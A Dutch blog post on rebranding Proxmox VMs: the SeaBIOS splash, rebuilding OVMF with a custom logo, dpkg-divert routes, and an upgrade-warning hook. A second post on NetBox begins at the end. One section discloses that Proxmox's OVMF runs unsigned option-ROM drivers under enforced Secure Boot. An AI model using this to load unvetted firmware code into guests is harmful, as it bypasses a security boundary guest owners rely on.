QEMU zegt dat de afbeelding wordt getoond “when option splash=sp_name is given and menu=on, If firmware/BIOS supports them. Currently Seabios for X86 system support it”10. OVMF neemt er niets uit behalve splash-time, dat het als time-out voor het opstartmenu gebruikt, en nergens in OvmfPkg wordt naar het splashbestand verwezen19.\nVervangen is één regel in de VM-config:\nargs: -boot splash=/etc/pve/branding/splash.jpg Een tweede -boot vecht niet met de eerste. QEMU voegt hem samen op dezelfde manier als -smbios, de latere waarde wint, en met twee splashbestanden opgegeven toonde de schermafbeelding de tweede. /etc/pve is de juiste plek voor het bestand, want het is het clusterbestandssysteem en elke node ziet dezelfde splash, en de limiet van 1 MiB per bestand komt bij lange na niet in de buurt van een JPEG van 640×48020.\nDe afbeelding zelf moet aan drie voorwaarden voldoen, en mis je er een, dan kost dat je het logo of de kleuren ervan:\nVoorwaarde Waarom Wat er anders gebeurt JPEG of 24-bit BMP QEMU controleert het bestand voordat de VM start splash file … format not recognized; must be JPEG or 24 bit BMP Baseline JPEG, 4:2:0-chroma de decoder van SeaBIOS kan niets anders aan21 ERR_NOT_SEQUENTIAL_DCT of ERR_NOT_YCBCR_221111, en een leeg scherm 640×480, net als die van Proxmox SeaBIOS vraagt de VGA-BIOS om een modus van precies de grootte van de afbeelding geen passende modus, geen splash De meeste beeldbewerkers schrijven standaard baseline 4:2:0, dus de gebruikelijke manier om het logo kwijt te raken is een van die “opslaan voor web”-opties die stilletjes progressieve codering aanzet, wat er in elke beeldviewer die je hebt hetzelfde uitziet en SeaBIOS helemaal niets laat tekenen.\nDe kleurenval Deze kostte een middag. Dezelfde JPEG, getekend door twee builds van SeaBIOS 1.17.0, komt in twee verschillende kleuren uit:\nHet zit in jpeg.c van SeaBIOS. De schrijver voor 24 bits per pixel heeft een little-endian-tak die blauw in de eerste byte van elke pixel zet, en de schrijver voor 32 bits per pixel, PIC_32, heeft zo\u0026rsquo;n tak niet en schrijft daar rood21. Op een little-endian-framebuffer verwisselt dat rood en blauw. Blauw komt eruit als goud, en oranje zou eruit komen als blauw.\nWelke schrijver draait, hangt af van de videomodus die de VGA-BIOS aanbiedt:\nFirmware VBE-modus voor 640×480 Bits per pixel Kleuren De vooraf gebouwde SeaBIOS 1.17.0 van QEMU upstream, zoals pve-qemu-kvm 11.0.3-4 hem meelevert 0x111 16 juist, gekwantiseerd tot 65.536 De eigen seabios 1.17.0-10-build van Fedora 44 0x142 32 rood en blauw verwisseld De modusnummers komen uit de eigen tabel van SeaBIOS22, en de rij voor Proxmox is gecontroleerd tegen precies de blobs in het pakket: byte voor byte gelijk aan de vooraf gebouwde rel-1.17.0-0-gb52ca86e094d van QEMU. Op Proxmox kloppen je kleuren dus, maar het zijn er maar 65.536, en een subtiel verloop krijgt banden. En komt je logo ooit in de verkeerde kleuren op een andere hypervisor, dan ligt het niet aan je JPEG.\nHet UEFI-logo is in de firmware gecompileerd UEFI-gasten zijn de moeilijkere helft, en op een moderne Proxmox zijn dat de meeste gasten.\nEr is geen splashoptie om te overschrijven. Het logo is een bitmap binnen het firmware-image, en de build van Proxmox zet het daar met één regel in debian/rules:\ndebian/setup-build-stamp: cp -a debian/Logo.bmp MdeModulePkg/Logo/Logo.bmp Dat kopieert hun Logo.bmp van 400×120 en 8 bit over die van TianoCore heen voordat edk2 wordt gebouwd23. Hetzelfde bestand zet de firmwareleverancier als constante tijdens de build, PcdFirmwareVendor=L\u0026quot;Proxmox distribution of EDK II\u0026quot;, en daar komt de type 0-vendor in de eerste tabel vandaan23.\nNieuw logo, nieuwe firmware. De manier om er een te krijgen die zich precies gedraagt als die van Proxmox, is hem precies zo te bouwen als Proxmox doet: hun boom op de tag die past bij het pakket dat ze leveren, hun patches, hun vlaggen, en één bitmap verwisseld. pve-edk2-firmware 4.2026.08-1 pint edk2 op 2970e56, en dat is de upstream-tag edk2-stable20260823.\ngit clone https://git.proxmox.com/git/pve-edk2-firmware.git cd pve-edk2-firmware git checkout f37039e52d228a7844a90aa2aaf1e161ebd04fcd # 4.2026.08-1 git submodule update --init --recursive cd edk2 QUILT_PATCHES=../debian/patches quilt push -a cp /path/to/your/Logo.bmp MdeModulePkg/Logo/Logo.bmp . ./edksetup.sh \u0026amp;\u0026amp; make -C BaseTools F=\u0026#34;-DNETWORK_HTTP_BOOT_ENABLE=TRUE -DNETWORK_IP6_ENABLE=TRUE -DNETWORK_TLS_ENABLE -DSECURE_BOOT_ENABLE=TRUE -DPVSCSI_ENABLE=TRUE -DTPM2_ENABLE=TRUE --pcd PcdUninstallMemAttrProtocol=TRUE -DFD_SIZE_4MB\u0026#34; P=(--pcd \u0026#34;PcdFirmwareVendor=LExample Cloud Ltd\\\\0\u0026#34; --pcd \u0026#34;PcdFirmwareVersionString=L4.2026.08-1+ec1\\\\0\u0026#34;) build -a IA32 -a X64 -t GCC -p OvmfPkg/OvmfPkgIa32X64.dsc $F \u0026#34;${P[@]}\u0026#34; -b RELEASE cp Build/Ovmf3264/RELEASE_GCC/FV/OVMF_CODE.fd OVMF_CODE_4M.fd rm -rf Build/Ovmf3264 build -a IA32 -a X64 -t GCC -p OvmfPkg/OvmfPkgIa32X64.dsc $F -DSMM_REQUIRE=TRUE \u0026#34;${P[@]}\u0026#34; -b RELEASE cp Build/Ovmf3264/RELEASE_GCC/FV/OVMF_CODE.fd OVMF_CODE_4M.secboot.fd De vlaggen komen uit debian/rules zoals die op die commit staat. Let op de vendorstring: hun Makefile schrijft hem tussen dubbele aanhalingstekens, de shell van make haalt die weg, en edk2 krijgt hem kaal, dus zo wordt hij hier doorgegeven, en hem een tweede keer quoten is een buildfout. Houd de bitmap op 400×120 en 8 bit zoals die van hen, en niets anders op het opstartscherm verschuift.\nJe hebt beide images nodig. qemu-server start elke Q35-VM met een EFI-disk van 4M op OVMF_CODE_4M.secboot.fd, de build met SMM vereist, en gebruikt de gewone OVMF_CODE_4M.fd alleen voor i440fx24. Op een huidige Proxmox draait vrijwel elke UEFI-gast op de secboot-variant.\nZo gebouwd, met niets veranderd aan de boom van Proxmox behalve de bitmap en twee strings, start het SMM-image zo op:\nEn het eigen beeld dat de gast van zijn firmware heeft, verandert mee, zonder één -smbios-optie op de opdrachtregel:\nGelezen in de gast 4.2026.08-1 van Proxmox Herbouwd uit dezelfde boom Firmwareleverancier Proxmox distribution of EDK II Example Cloud Ltd Firmwareversie 4.2026.08-1 4.2026.08-1+ec1 “UEFI is supported” vermeld vermeld ACPI-tabellen BGRT, WSMT en de rest dezelfde set Dat maakt de vendor tijdens de build het betere antwoord voor UEFI-gasten. Het is de eigen type 0 van OVMF, dus het UEFI-bit blijft staan zonder dat iemand aan uefi=on hoeft te denken. De args-route voor type 0 is voor SeaBIOS-gasten, en voor wie helemaal geen firmware herbouwt.\nTwee manieren om de nieuwe firmware aan een VM te geven qemu-server legt vast in de code waar hij firmware zoekt: OVMF.pm heeft een tabel met paden onder /usr/share/pve-edk2-firmware/, op sleutel van machinetype en Secure Boot-opties, en nergens in de VM-config, de GUI of de API is er een optie die een ander bestand kiest24. Er blijven twee routes over.\nOVMF met je merk bouwen, en twee manieren om het aan een VM te geven De boom van Proxmox pve-edk2-firmware 4.2026.08-1 Jouw merk Logo.bmp + vendorstring Zelfde build, zelfde vlaggen OVMF_CODE_4M.fd + .secboot.fd A: divert op elke node elke UEFI-VM krijgt het, geen wijziging in VM-config B: per VM via args VM voor VM aanzetten, bestanden van Proxmox onaangeroerd apt full-upgrade nieuwe firmware van Proxmox komt, de jouwe blijft oud Post-Invoke-hook versies verschillen, dus herbouw voor de volgende start Eén build, twee routes erin. Hoe dan ook installeert de volgende upgrade de nieuwe firmware van Proxmox naast de jouwe en laat de jouwe zoals hij was, en daarom bestaat de hook onderaan. Route A: divert hem op elke node. Vertel dpkg dat de twee code-images van Proxmox nu ergens anders horen, en zet de jouwe waar zij stonden:\nD=/usr/share/pve-edk2-firmware for f in OVMF_CODE_4M.fd OVMF_CODE_4M.secboot.fd; do dpkg-divert --package example-branding --add --rename --divert \u0026#34;$D/$f.distrib\u0026#34; \u0026#34;$D/$f\u0026#34; install -m 0644 \u0026#34;/root/branding/$f\u0026#34; \u0026#34;$D/$f\u0026#34; done Vanaf de volgende start draait elke UEFI-VM op de node jouw firmware. Geen enkele wijziging in de VM-config.\nRoute B: wijs gekozen VM\u0026rsquo;s ernaar. Houd de images in je eigen map en overschrijf de firmware VM voor VM. Sinds de overstap op -blockdev koppelt qemu-server het code-image als een blocknode die pflash0 heet en noemt hem in -machine24, en QEMU voegt een tweede -machine samen op dezelfde manier als -boot, dus args kan een eigen node toevoegen en pflash0 daarnaar laten wijzen:\nargs: -blockdev driver=raw,node-name=brandcode,read-only=on,file.driver=file,file.filename=/usr/local/share/example-branding/OVMF_CODE_4M.secboot.fd -machine pflash0=brandcode Dat is op de lange manier getest. De secboot-firmware van Proxmox werd als pflash0 gekoppeld precies zoals qemu-server het doet, met SMM aan, en daarna werd die args-regel erachter gezet, en de gast startte het image met je merk met zowel het logo als de vendorstring, en daar kwam de schermafbeelding hierboven vandaan.\nRoute A, divert Route B, args per VM Welke VM\u0026rsquo;s het krijgen elke UEFI-VM op de node alleen VM\u0026rsquo;s waarop je het zet De bestanden van Proxmox verplaatst naar .distrib onaangeroerd VM-config ongewijzigd een args-regel, alleen voor root Machinetype moet passen geregeld, beide images zijn gediverteerd jouw werk: secboot-image voor Q35 Terugdraaien dpkg-divert --remove --rename de regel verwijderen Migratie doelnode moet ook gediverteerd zijn doelnode moet het bestand hebben Het code-image is ongeveer 3,5 MB, tegenover een limiet van 1 MiB per bestand in pmxcfs20. Het kan als zodanig niet in /etc/pve, en welke route je ook neemt, het moet op elke node gezet worden. Migreer een VM naar een node zonder en je krijgt een van twee uitkomsten, afhankelijk van de route: onder route A weer de eigen firmware en het logo van Proxmox, of onder route B een VM die helemaal niet start, omdat QEMU een bestand dat er niet is niet kan openen.\nDe upgrade die je achterlaat Een diversion is het juiste gereedschap voor een logo. Firmware is anders.\nEen diversion betekent dat de upgrades van Proxmox het bestand niet meer bereiken. Dat is precies waar je om vroeg. Het is ook precies wat de beveiligingsfixes van edk2 tegenhoudt voordat ze je gasten bereiken: de changelog van Proxmox voor 4.2026.08-1 opent met “Besides many bug and security fixes” en noemt daarna een fix voor CVE-2024-1374525, en een build met je merk uit de release daarvoor heeft daar niets van. Niets vertelt het je.\nDat is getest, niet aangenomen. In een Debian trixie-container met de repository van Proxmox ging pve-edk2-firmware-ovmf 4.2025.05-3 erin, werden beide code-images gediverteerd, en werd het pakket geüpgraded naar 4.2026.08-1:\nNa de upgrade Resultaat dpkg-query -W pve-edk2-firmware-ovmf 4.2026.08-1 Het nieuwe image van Proxmox geïnstalleerd als OVMF_CODE_4M.fd.distrib, hash veranderd Het image met je merk ongewijzigd, nog steeds gebouwd uit 4.2025.05-3 Iets op de console erover niets, tot de hook hieronder Voeg dus een hook toe. apt draait na elke dpkg-run een lijst DPkg::Post-Invoke-opdrachten26. Leg vast uit welke Proxmox-versie je bouwde, en vergelijk na elke run:\ncat \u0026gt; /usr/local/sbin/example-branding-check \u0026lt;\u0026lt;\u0026#39;EOF\u0026#39; #!/bin/sh built=$(cat /usr/local/share/example-branding/ovmf.built-from 2\u0026gt;/dev/null) now=$(dpkg-query -W -f \u0026#39;${Version}\u0026#39; pve-edk2-firmware-ovmf 2\u0026gt;/dev/null) [ \u0026#34;$built\u0026#34; = \u0026#34;$now\u0026#34; ] \u0026amp;\u0026amp; exit 0 echo \u0026#34;W: branded OVMF was built from pve-edk2-firmware-ovmf $built, Proxmox now ships $now.\u0026#34; \u0026gt;\u0026amp;2 echo \u0026#34;W: guests still boot the old firmware. Rebuild before the next VM restart.\u0026#34; \u0026gt;\u0026amp;2 exit 0 EOF chmod +x /usr/local/sbin/example-branding-check echo \u0026#39;DPkg::Post-Invoke { \u0026#34;/usr/local/sbin/example-branding-check\u0026#34;; };\u0026#39; \\ \u0026gt; /etc/apt/apt.conf.d/80example-branding Bij diezelfde upgrade drukte hij af:\nW: branded OVMF was built from pve-edk2-firmware-ovmf 4.2025.05-3, Proxmox now ships 4.2026.08-1. W: guests still boot the old firmware. Rebuild before the next VM restart. Hij eindigt bewust met 0. apt breekt af als een Post-Invoke-opdracht faalt26, en een brandingcontrole is geen reden om een node half geüpgraded te laten staan. Een luide waarschuwing volstaat.\nNog één ding. Herstarts. Een gast pakt nieuwe firmware pas op als zijn QEMU-proces herstart, dus een herbouw betekent stoppen en starten vanuit Proxmox, niet een reboot vanuit de gast, en zo bereiken de eigen firmware-updates van Proxmox een draaiende VM ook. Alleen hoef jij daar niet eerst aan een herbouw te denken.\nOf laat de firmware van Proxmox met rust Elke logoroute tot nu toe verandert de firmware, en de vorige sectie is de rekening daarvoor. Er is er één die dat niet doet, en die is voor deze post als prototype gebouwd.\nEen PCI-apparaat in QEMU kan een option ROM dragen, elk bestand dat je met romfile= noemt27, en OVMF draait de EFI-driver die het daarin vindt. De build van Proxmox draait hem of hij nu ondertekend is of niet: OVMF zet PcdOptionRomImageVerificationPolicy op 0x00, altijd uitvoeren28. OVMF tekent zijn eigen logo laat in de selectie van het opstartapparaat29 en bouwt de BGRT pas bij ReadyToBoot, het moment voordat het aan een bootloader overdraagt. En de BGRT-driver van edk2 neemt een vervangende afbeelding aan via EDKII_BOOT_LOGO2_PROTOCOL, en bouwt de tabel bij ReadyToBoot opnieuw zodra de afbeelding is veranderd30.\nMeer is er niet nodig. De driver wacht op ReadyToBoot op TPL_NOTIFY, dat vóór de eigen TPL_CALLBACK-handler van de BGRT-driver draait, maakt het scherm leeg, tekent zijn logo en geeft dezelfde afbeelding door. Gebouwd is het één bestand van 8 KB, gekoppeld met één regel:\nargs: -device pci-testdev,romfile=/etc/pve/branding/brandrom.rom Met 8 KB zit het ruim binnen de limiet van 1 MiB van pmxcfs20, dus anders dan een firmware-image van 3,5 MB kan het in /etc/pve staan en de VM naar elke node volgen.\nHet is getest tegen de eigen firmware van Proxmox, rechtstreeks uit pve-edk2-firmware-ovmf 4.2026.08-1: OVMF_CODE_4M.secboot.fd met de sleutels van Microsoft vooraf ingeschreven in OVMF_VARS_4M.ms.fd, op Q35 met SMM, en opgestart via de ondertekende shim van Fedora zodat Secure Boot aan stond en werd afgedwongen:\nGelezen uit de gast Zonder de ROM Met de ROM SecureBoot-variabele 1 1 Op het scherm het logo van Proxmox dat van Proxmox ongeveer 250 ms, daarna het jouwe BGRT-afbeelding, 400×120 op 440,340 die van Proxmox, SHA-256 be5afe4b… die van de ROM, SHA-256 6c494576… Firmwarebestanden veranderd geen geen De laatste rij is waar het om gaat. De firmware van Proxmox is onaangeroerd, dus hun volgende beveiligingsrelease bereikt je gasten bij de volgende herstart, en niets uit de vorige sectie is van toepassing.\nGratis is het niet:\nKosten Waarom Het logo van Proxmox staat ongeveer een kwart seconde in beeld OVMF tekent het voordat een option-ROM-driver het scherm krijgt; alleen een herbouw voorkomt dat De gast ziet één PCI-apparaat meer, zonder driver de ROM moet op een apparaat meerijden, en pci-testdev is het doe-niets-apparaat van QEMU Type 0 zegt nog steeds Proxmox de vendorstring is ingecompileerd; zet hem via args met uefi=on, zoals hierboven Alleen voor root het is een args-regel En de bevinding eronder moet gewoon gezegd worden. Een niet-ondertekende driver draaide in firmware op een gast met de sleutels van Microsoft ingeschreven en Secure Boot afgedwongen, omdat de OVMF van Proxmox option ROM\u0026rsquo;s niet controleert. Hier is dat handig. Het betekent ook dat Secure Boot op deze firmware bootloaders controleert, niet wat de hardwareconfig van de VM ook maar koppelt, en omdat alleen root args schrijft, is dat een vraag over wie root heeft op je nodes.\nHet is een prototype. Het heeft gedraaid op QEMU 10.2.2 met de firmware van Proxmox, nog niet op een Proxmox-node, en wat volgt is broncode, geen product:\ngithub.com/damo2929/RebrandPCIRom: de option-ROM-driver, de logoconverter en de containerbuild.\nDe webinterface is twee pakketten Het logo linksboven in de webinterface zit niet in pve-manager. Workspace.js vraagt om een component proxmoxLogoSvg met het prefix pwt, en dat woont in proxmox-widget-toolkit, dat de Backup Server en de Mail Gateway delen31. Alleen de tabbladiconen zitten in pve-manager:\nWat Bestand Pakket Headerlogo, getekend op 200×35 /usr/share/javascript/proxmox-widget-toolkit/images/proxmox_logo.svg proxmox-widget-toolkit Icoon in het browsertabblad /usr/share/pve-manager/images/favicon.ico pve-manager Icoon van 128×128, ook het touch-icoon /usr/share/pve-manager/images/logo-128.png pve-manager Alle drie zijn gewone bestanden, dus dit is een klus voor dpkg-divert, en hier geldt de prijs uit de vorige sectie helemaal niet, want een logo heeft geen beveiligingsfixes om te missen en niemands gast is ook maar iets minder veilig door een node die nog het favicon van vorige maand serveert.\ndivert() { dpkg-divert --package example-branding --add --rename --divert \u0026#34;$1.distrib\u0026#34; \u0026#34;$1\u0026#34; install -m 0644 \u0026#34;$2\u0026#34; \u0026#34;$1\u0026#34; } divert /usr/share/javascript/proxmox-widget-toolkit/images/proxmox_logo.svg /root/branding/logo.svg divert /usr/share/pve-manager/images/favicon.ico /root/branding/favicon.ico divert /usr/share/pve-manager/images/logo-128.png /root/branding/logo-128.png Getest in dezelfde container, tegen echte pakketten:\nStap Resultaat Divert op proxmox-widget-toolkit 5.2.9, eigen SVG installeren de SVG van Proxmox hernoemd naar proxmox_logo.svg.distrib Upgrade naar 5.2.10 eigen SVG nog op zijn plek, de 5.2.10-kopie van Proxmox in .distrib dpkg --verify proxmox-widget-toolkit geen klachten, dpkg weet van de diversion apt-get install --reinstall proxmox-widget-toolkit eigen SVG nog op zijn plek dpkg-divert --remove --rename het origineel van Proxmox terug, byte voor byte Twee dingen blijven van Proxmox. De headerafbeelding wordt in een vast vak van 200×35 getekend, dus teken je SVG in die vorm of hij wordt platgedrukt. En de alt-tekst zegt Proxmox en de afbeelding linkt naar https://www.proxmox.com, allebei in het JavaScript-component geschreven en niet in een bestand dat je kunt diverten31. Die veranderen betekent een geminificeerde bundel patchen die bij elke upgrade breekt. Niet de moeite waard voor alt-tekst.\nWat de licentie en het handelsmerk van Proxmox van je vragen Proxmox VE valt onder de AGPL versie 332, en sectie 13 van die licentie is de netwerkclausule: “if you modify the Program, your modified version must prominently offer all users interacting with it remotely through a computer network … an opportunity to receive the Corresponding Source of your version”33. Telt het verwisselen van drie afbeeldingen als het aanpassen van het Programma? Dat is iets voor een jurist. Het goedkope antwoord is je afbeeldingen en het divert-script ergens openbaar neer te zetten en ernaar te linken vanaf de inlogpagina. Het kost niks en het beslecht de vraag.\nDe kant van het handelsmerk is duidelijker. De mediakit van Proxmox zegt “Don\u0026rsquo;t alter the logo or incorporate the logo or symbol into your logo”34. Vervang dat van hen dus volledig door je eigen, nooit door een herkleurde of bewerkte versie ervan, en houd Proxmox uit de naam van je product.\nJouw naam erop betekent jouw onderhoud Je merk op een VM zetten is goedkoop. Een handvol SMBIOS-strings, een JPEG, een bitmap en drie afbeeldingen in een webinterface: een middag werk, het meeste daarvan kwijt aan uitzoeken waar dingen wonen.\nHet houden is het werk. Het is ook het deel dat wordt overgeslagen.\nDe SMBIOS-strings en de splash zorgen voor zichzelf, omdat ze in config staan die geen pakket ooit aanraakt, en het logo van de webinterface zorgt voor zichzelf omdat dpkg erover is ingelicht. De firmware niet. De dag dat je je logo in een firmware-image zette, nam je een stuk van het releaseproces van een ander over, en Proxmox bouwt, test en levert nieuwe firmware met beveiligingsfixes erin, die hun klanten krijgen bij de volgende upgrade, en die van jou als jij eraan toekomt om te herbouwen.\nDie ruil is prima als je hem bewust maakt. Een hostingbedrijf waarvan de gasten firmware draaien die twee releases achterloopt omdat het logo belangrijker was dan de changelog, heeft geen product gebouwd. Het heeft een sticker gebouwd.\nStaat jouw naam op het opstartscherm, dan is de firmware erachter de jouwe om bij te houden, wie hem ook schreef. Niemand gaat het controleren. Juist daarom moet het gebeuren.\nUEFI Forum, ACPI Specification 6.6, §5.2.23 Boot Graphics Resource Table — “The Boot Graphics Resource Table (BGRT) is an optional table that provides a mechanism to indicate that an image was drawn on the screen during boot”. Gearchiveerde kopie; de live pagina geeft 403 op geautomatiseerde verzoeken.\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nMicrosoft Learn, Boot screen components — “This is the standard interface that Windows uses to access the logo.”\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nFedora Project, Changes/FlickerFreeBoot — “a new plymouth theme which incorporates the firmware\u0026rsquo;s bootsplash image”; de plymouth.spec van Fedora maakt bgrt het standaardthema.\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nDebian, dpkg-divert(1), trixie — “File diversions are a way of forcing dpkg(1) not to install a file into its location, but to a diverted location.”\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nDMTF, DSP0134 System Management BIOS Reference Specification 3.10.0 — type 1 System Information, type 2 moederbord, type 3 “the system\u0026rsquo;s mechanical enclosure(s)”, type 11 “free-form strings defined by the OEM”.\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nProxmox VE, qm.conf(5) — smbios1: “Specify SMBIOS type 1 fields”; args: “Arbitrary arguments passed to kvm … this option is for experts only.”\u0026#160;\u0026#x21a9;\u0026#xfe0e;\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nqemu-server, src/PVE/QemuServer.pm, het smbios1-formaat en de opdrachtregelbouwer — elk veld behalve uuid heeft het patroon [A-Za-z0-9+\\/]+={0,2}; waarden worden gedecodeerd als base64 is gezet.\u0026#160;\u0026#x21a9;\u0026#xfe0e;\npve-manager, www/manager6/Parser.js, printQemuSmbios1 — “smbios values can be arbitrary, so encode and mark config as such”.\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nqemu-server, src/PVE/API2/Qemu.pm, klonen — “auto generate a new uuid”, de andere smbios1-velden blijven behouden.\u0026#160;\u0026#x21a9;\u0026#xfe0e;\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nQEMU, System Emulation, Invocation — -smbios-velden per type; -acpitable “For file=, take whole ACPI table from the specified files, including all ACPI headers”; -boot “Currently Seabios for X86 system support it.”\u0026#160;\u0026#x21a9;\u0026#xfe0e;\u0026#160;\u0026#x21a9;\u0026#xfe0e;\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nedk2-stable202608, OvmfPkg/SmbiosPlatformDxe/SmbiosPlatformDxe.c — OVMF voegt zijn eigen type 0 alleen toe als NeedSmbiosType0 na het aflopen van de tabellen van QEMU nog gezet is.\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nqemu-server, src/PVE/QemuServer.pm, eigen args — args worden gesplitst en achteraan op de opdrachtregel gezet.\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nqemu-server, src/PVE/API2/Qemu.pm, rechtencontroles op de config — smbios1 is een hardwareoptie die VM.Config.HWType vraagt; het vangnet “catches args, lock, etc.” en stopt met “only root can set”.\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nqemu-server, src/PVE/QemuServer.pm, de optie name — format =\u0026gt; 'dns-name'.\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nqemu-server, src/PVE/QemuServer.pm, vmgenid — “notify the guest operating system when the virtual machine is executed with a different configuration (e.g. snapshot execution or creation from a template)”.\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nqemu-server, src/PVE/QemuServer/Memory.pm — geheugen default =\u0026gt; 512; cores en sockets staan in QemuServer.pm standaard op 1.\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nqemu-server, src/PVE/QemuServer.pm, vm_start — lock_config op regel 5457, exec_hookscript($conf, $vmid, 'pre-start', 1) op 5581, en config_to_command op 5634 met dezelfde $conf, daartussen niet opnieuw geladen.\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nqemu-server, src/PVE/QemuServer.pm, -boot — menu=on,strict=on,reboot-timeout=1000,splash=/usr/share/qemu-server/bootsplash.jpg.\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nedk2-stable202608, OvmfPkg/Library/QemuBootOrderLib/QemuBootOrderLib.c — OVMF leest etc/boot-menu-wait, de waarde van splash-time, en verder niets uit -boot.\u0026#160;\u0026#x21a9;\u0026#xfe0e;\npve-cluster, src/pmxcfs/memdb.h — #define MEMDB_MAX_FILE_SIZE (1024 * 1024) // 1 MiB.\u0026#160;\u0026#x21a9;\u0026#xfe0e;\u0026#160;\u0026#x21a9;\u0026#xfe0e;\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nSeaBIOS, src/jpeg.c — PIC schrijft op little-endian eerst blauw, PIC_32 op regel 946 schrijft eerst rood zonder endian-tak; ERR_NOT_SEQUENTIAL_DCT en ERR_NOT_YCBCR_221111 zijn de enige geweigerde formaten.\u0026#160;\u0026#x21a9;\u0026#xfe0e;\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nSeaBIOS, vgasrc/svgamodes.c — modus 0x111 is 640×480 op 16 bits, 0x142 is 640×480 op 32.\u0026#160;\u0026#x21a9;\u0026#xfe0e;\npve-edk2-firmware, debian/rules op 4.2026.08-1 — cp -a debian/Logo.bmp MdeModulePkg/Logo/Logo.bmp, de PcdFirmwareVendor-string en de buildvlaggen van OVMF.\u0026#160;\u0026#x21a9;\u0026#xfe0e;\u0026#160;\u0026#x21a9;\u0026#xfe0e;\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nqemu-server, src/PVE/QemuServer/OVMF.pm — de vastgelegde firmwaretabel onder /usr/share/pve-edk2-firmware/, de SMM-keuze en de blocknode pflash0.\u0026#160;\u0026#x21a9;\u0026#xfe0e;\u0026#160;\u0026#x21a9;\u0026#xfe0e;\u0026#160;\u0026#x21a9;\u0026#xfe0e;\npve-edk2-firmware, debian/changelog — 4.2026.08-1: “Besides many bug and security fixes … fix CVE-2024-13745”.\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nDebian, apt.conf(5), trixie — “Pre-Invoke, Post-Invoke: This is a list of shell commands to run before/after invoking dpkg(1) … should any fail APT will abort.”\u0026#160;\u0026#x21a9;\u0026#xfe0e;\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nQEMU v11.0.3, hw/pci/pci.c — DEFINE_PROP_STRING(\u0026quot;romfile\u0026quot;, PCIDevice, romfile), een eigenschap die elk PCI-apparaat heeft.\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nedk2-stable202608, OvmfPkg/OvmfPkgIa32X64.dsc — gEfiSecurityPkgTokenSpaceGuid.PcdOptionRomImageVerificationPolicy|0x00, het platformbestand dat Proxmox bouwt.\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nedk2-stable202608, OvmfPkg/Library/PlatformBootManagerLib/BdsPlatform.c — BootLogoEnableLogo (), aangeroepen vanuit PlatformBootManagerAfterConsole.\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nedk2-stable202608, BootGraphicsResourceTableDxe.c — SetBootLogo2 op regel 239 kopieert de afbeelding; de ReadyToBoot-handler op 417 verwijdert de tabel en installeert hem opnieuw “If BGRT data change happens”.\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nproxmox-widget-toolkit, src/Logo.js — proxmoxLogoSvg, 200×35, alt: 'Proxmox', met een link naar proxmox.com; gebruikt vanuit pve-manager Workspace.js met prefix: 'pwt'.\u0026#160;\u0026#x21a9;\u0026#xfe0e;\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nProxmox VE wiki, FAQ — “Proxmox VE code is licensed under the GNU Affero General Public License, version 3.”\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nGNU Affero General Public License v3, §13 Remote Network Interaction — volledig geciteerd in de tekst hierboven.\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nProxmox, Media kit — “Don\u0026rsquo;t alter the logo or incorporate the logo or symbol into your logo.”\u0026#160;\u0026#x21a9;\u0026#xfe0e;\n","permalink":"https://blogs.damiendye.uk/nl/proxmox/branding-a-proxmox-vm/","summary":"Een standaard Proxmox-VM toont bij het opstarten het logo van Proxmox, zet Proxmox in de vendorstring van zijn firmware en noemt zichzelf QEMU in elke SMBIOS-tabel. Dit vervangt dat allemaal door de naam van je eigen product: SMBIOS-types 0, 1, 2, 3 en 11, met serienummer en SKU uit de eigen naam en grootte van de VM, het SeaBIOS-splashscherm en de kleurenval erin, een OVMF met jouw merk gebouwd uit de eigen boom van Proxmox, of een option-ROM-driver die het logo en de BGRT onder Secure Boot vervangt zonder de firmware aan te raken, en het logo van de webinterface. Elke wijziging staat zo dat een upgrade haar niet stilletjes ongedaan maakt, en de ene die een upgrade gevaarlijk verouderd kan achterlaten, de firmware, krijgt een hook die dat zegt.","title":"Je eigen merk op een Proxmox-VM, en dat zo houden na de volgende upgrade"},{"content":"Alles in dit stuk is uitgevoerd tegen een NetBox 4.7.2 op mijn eigen bureau, met een echt bestand erin geladen: één site, één kast, veertien apparaten, gekabeld, van stroom voorzien en geadresseerd over drie klanten. Elke schermafbeelding is die instantie, en elke foutmelding is er een die ik echt heb gekregen.\nHet gaat in de volgorde waarin je het zou tegenkomen. Wat het ding is, waarom je er een zou willen, de fork waar je binnen een week zoeken over hoort, hoe je er een opzet, de volgorde waarin je het moet vullen, en dan wat je eruit terugkrijgt. Het aanpas- en uitbreidwerk staat aan het eind, omdat niets daarvan betekenis heeft voordat je de vorm hebt gezien van wat je uitbreidt.\nWat NetBox is NetBox is een database met een heel specifieke mening over waar een netwerk uit bestaat, en een webapplicatie daarboven. Het is een Django-applicatie op PostgreSQL, het is open source onder Apache 2.0 sinds DigitalOcean het in juni 2016 vrijgaf, en het project wordt vandaag beheerd door NetBox Labs samen met een team vrijwillige maintainers.12\nDaaronder zijn het 149 modellen over tien applicaties, bereikbaar via 146 REST-endpoints en één GraphQL-endpoint. Geteld op de instantie die ik hiervoor heb gebouwd, niet afgelezen van een featurepagina:\nApplicatie Modellen Applicatie Modellen dcim 56 virtualization 7 extras 23 tenancy 6 ipam 18 wireless 3 circuits 11 